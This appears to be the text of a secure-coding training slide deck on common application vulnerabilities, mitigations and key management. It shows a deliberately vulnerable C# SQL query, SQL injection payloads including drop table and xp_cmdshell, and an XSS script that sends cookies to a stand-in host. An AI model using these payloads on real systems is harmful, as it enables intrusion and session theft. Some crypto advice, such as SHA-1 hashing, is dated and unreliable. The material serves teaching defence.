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App level Vulnerabilities 

Source : http://blogs.technet.com/security/archive/2006/10/17/2006-january-through-september-vulnerability-

trends.aspx

ñHackers worked overtime in October 07 and defaced over 143 Indian 

websites during the month compared to just 60 sites that were 

defaced during September 07.ò

Times of India -

http://infotech.indiatimes.com/quickiearticleshow/msid-2545991.cms



Common Mistakes

1. Buffer overruns 

2. Format String Problems 

3. Integer Overflows 

4. Dynamic SQL

5. Command Injection 

6. Failure to Handle Errors 

7. Cross-Site Scripting 

8. Failure to Protect Network 
Traffic 

9. Use of Magic URLs and 
Hidden Forms 

10.Improper Use of SSL

11. Use of Weak Password-
based Systems 

12. Failure to Store and Protect 
Data Securely 

13. Information Leakage 

14. Trusting Network Address 
Resolution 

15. Improper File Access 

16. Race Conditions 

17. Unauthenticated Key 
Exchange 

18. Failure to Use 
Cryptographically Strong 
Random Numbers 

19. Poor Usability
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string Status = "No" ;

string sqlstring = "" ;

try {

SqlConnection sql = new SqlConnection (

@"data source= localhost ;" + 

"user id= sa;password =password;" );

sql.Open ();

sqlstring = " SELECT HasShipped " +

" FROM Shipment WHERE ID='" + Id + "'" ;

SqlCommand cmd = new SqlCommand( sqlstring,sql );

if (( int ) cmd.ExecuteScalar () != 0)

Status = "Yes" ;

} catch ( SqlException se) {

Status = sqlstring + " failed \ n\ r" ;

foreach ( SqlError e in se.Errors ) {

Status += e.Message + " \ n\ r" ;

}

} catch (Exception e) {

Status = e.ToString ();

}

Whatôs Wrong Here?



Why Itôs Wrong (1 of 2)

Good Guy

SELECT HasShipped

FROM Shipment 

WHERE ID='1001'

Not so Good Guy

SELECT HasShipped

FROM Shipment 

WHERE ID= '1001' or 2>1 -- '

sqlstring ="SELECT HasShipped " +

" FROM Shipment WHERE ID='" + Id + "'";



Why Itôs Wrong (2 of 2)

Really Bad Guy

SELECT HasShipped 

FROM Shipment 

WHERE ID= '1001ó; drop table orders -- '

Downright Evil Guy

SELECT HasShipped 

FROM Shipment 

WHERE ID= '1001ó; exec xp_cmdshell('...') -- '

sqlstring ="SELECT HasShipped " +

" FROM Shipment WHERE ID='" + Id + "'";



SQL Injection - Causes

ÅLoose or unchecked SQL parameter input.

ÅStatements are submitted and executed from a 
priveledged SQL account
SqlConnect sql=new SqlConnect("data 

source=myserver;user 
id=sa;password=password;");

ÅArbitrary statements are allowed to execute

CREATE PROCEDURE sp_MyProc @input varchar (128)

AS 

EXEC (@input)



SQL Injection - Mitigation

Å Input Validation

Å Parameterized Queries with Stored Procedures
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How would you deface this?

/location=<script>document.images[4].src=

"http://www.badsite.com/news.jpg"</script>



XSS in Action ïCookie Stealing

Welcome.asp

Hello,

<%= request.querystring( ǋnameǋ)%>

<a href =http://www.insecuresite.com/welcome.asp?name=cf2 

<script >

document.write (

ó<img src =ǌhttp://gotcha.com/ò%2bdocument.cookie%2b>ô)

</ script >

here</ a>



XSS - Mitigation

ÅInput Validation

ïUse white list approach

ïUse regular expression

ïOptional 

ÅASP.Net ValidateInput

ÅOutput Encode

ïHTML Encode

ïAnti XSS Library ïDownload: http://msdn2.microsoft.com/en-

us/security/aa973814.aspx
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Storing Secrets

ÅSoftware cannot defend itself, 

therefore:

ïStoring secrets securely in software is 

impossible!

ïEmbedded ósecretsô donôt stay secret

for long



Encryption or ñEncraptionò?

ÅXOR is not your friend!

ÅDonôt roll your own crypto algorithms

ïUse System.Security.Cryptography

ÅEvaluate based on usage

ïAre algorithms appropriate?

ÅUse AES (Rijndael) for symmetric encryption

ÅUse SHA-1 or better for hashing



Key Management

ÅKeys are literally the ókeys to the castleô ïthe weakest 
point in the defense

ÅCommon key management mistakes
ïHard coding key values anywhere in the source, including 

resource files

ïFailure to protect key data in memory or when persisted to file

ïUsing key data too often in your application, the more you use it 
the more chances an attacker will have to steal it

ïGenerating the key from a password that is not strong enough



Cryptography - Mitigations

ÅDonôt use home-grown crypto solutions

ÅNever hardcode keys ïUse DPAPI

ÅAvoid passing secrets around in memory



Defending Against ñHackingò



Principles to Live By



Rule #1 - Trust No Input

ÅBuffer Overruns

ÅSQL Injection

ÅCross-Site Scripting

ñAll input is evil, until proven otherwise!ò

101011011011011 101011011011010110110010101101

Blake Blakeǋ or 1=1 --

Blake <script>var i=document</script>



Do NOT look 

only for ñbad thingsò

It assumes you know all the

ñbad thingsò 

�8


